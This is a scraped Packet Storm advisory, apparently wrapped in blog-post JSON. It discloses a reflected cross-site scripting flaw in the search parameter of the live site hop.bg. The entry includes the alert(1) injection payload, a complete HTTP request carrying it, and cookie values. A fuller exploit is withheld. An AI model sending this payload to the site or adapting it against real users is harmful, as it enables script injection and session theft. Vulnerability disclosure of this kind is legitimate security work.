{“lastseen”:”2025-11-03T16:51:13″,”description”:”Hop.bg appears to suffer from a cross site scripting vulnerability. It is unclear what vulnerable code base is being…”,”published”:”2025-11-03T00:00:00″,”modified”:”2025-11-03T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Hop.bg Cross Site Scripting”,”source”:””,”references”:””,”id”:”PACKETSTORM:211132″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”## Titles: hop.bg | web app | Cross-site scripting (reflected)\\n ## Author: nu11secur1ty\\n ## Date: 11\/03\/2025\\n ## Vendor: https:\/\/hop.bg\/\\n ## Software: https:\/\/hop.bg\/\\n ## Reference: https:\/\/portswigger.net\/web-security\/cross-site-scripting\\n \\n ## Description:\\n The value of the `srch` request parameter is copied into a JavaScript\\n string which is encapsulated in single quotation marks. The payload\\n lifmu\\u003c\/script\\u003e\\u003cscript\\u003ealert(1)\\u003c\/script\\u003enkt8b was submitted in the `srch`\\n parameter. This input was echoed unmodified in the application’s response.\\n \\n This proof-of-concept attack demonstrates that it is possible to inject\\n arbitrary JavaScript into the application’s response.\\n \\n STATUS: HIGH- Vulnerability\\n \\n [+]Payload:\\n “`\\n GET\\n \/bg\/tyrsene-123?p=123\\u0026l=1\\u0026srch=gq7ns%3c%2fscript%3e%3cscript%3ealert(1)%3c%2fscript%3ein737\\u0026submit_search=\\n HTTP\/1.1\\n Host: hop.bg\\n Cache-Control: max-age=0\\n Sec-CH-UA: \\”Chromium\\”;v=\\”141\\”, \\”Not;A=Brand\\”;v=\\”24\\”, \\”Google Chrome\\”;v=\\”141\\”\\n Sec-CH-UA-Mobile: ?0\\n Sec-CH-UA-Platform: \\”Windows\\”\\n Accept-Language: en-US;q=0.9,en;q=0.8\\n User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\\n (KHTML, like Gecko) Chrome\/141.0.0.0 Safari\/537.36\\n Accept:\\n text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\\n Sec-Fetch-Site: none\\n Sec-Fetch-Mode: navigate\\n Sec-Fetch-User: ?1\\n Sec-Fetch-Dest: document\\n Accept-Encoding: gzip, deflate, br\\n Connection: close\\n Cookie: Public=3l4neblt0r1q8tl8r1j8vm1kg2; l=1;\\n _gcl_au=1.1.1810943222.1761893757;\\n _fbp=fb.1.1761893757009.110679894202803572; _tt_enable_cookie=1;\\n _ttp=01K8WGTCHG0MT2MTV43EPDVPSH_.tt.1;\\n _uetsid=a6fe2700b62611f0ba2e15757049e30e;\\n _uetvid=a6fe6880b62611f0a84c27f8eba50d96;\\n ttcsid=1761893757500::mkwLVMcL6Tixw1dD6Twz.1.1761893767648.0;\\n ttcsid_D0S5A7RC77U1EAH3MNBG=1761893757499::8I3zM_RSsJeOcW0e8fgM.1.1761893767648.0\\n Upgrade-Insecure-Requests: 1\\n Referer: https:\/\/hop.bg\/\\n “`\\n \\n [+]Exploit:\\n “`\\n Not showing for security reasons\\n “`\\n \\n ## Reproduce:\\n [href](\\”Not showing for security reasons\\”)\\n \\n \\n ## Demo PoC:\\n [href](Not showing for security reasons)\\n \\n ## Time spent:\\n 01:27:00\\n \\n \\n — \\n System Administrator – Infrastructure Engineer\\n Penetration Testing Engineer\\n Exploit developer at https:\/\/packetstormsecurity.com\/\\n https:\/\/cve.mitre.org\/index.html\\n https:\/\/cxsecurity.com\/ and https:\/\/www.exploit-db.com\/\\n home page: https:\/\/www.nu11secur1ty.com\/ and\\n https:\/\/www.asc3t1c-nu11secur1ty.com\/\\n nu11secur1ty \\u003chttps:\/\/nu11secur1ty.blogspot.com\/\\u003e”,”sourceHref”:”https:\/\/packetstorm.news\/download\/211132″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/211132\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-11-03T16:51:13″,”description”:”Hop.bg appears to suffer from a cross site scripting vulnerability. It is unclear what vulnerable code base is being…”,”published”:”2025-11-03T00:00:00″,”modified”:”2025-11-03T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Hop.bg Cross Site Scripting”,”source”:””,”references”:””,”id”:”PACKETSTORM:211132″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”## Titles: hop.bg…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-24500","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n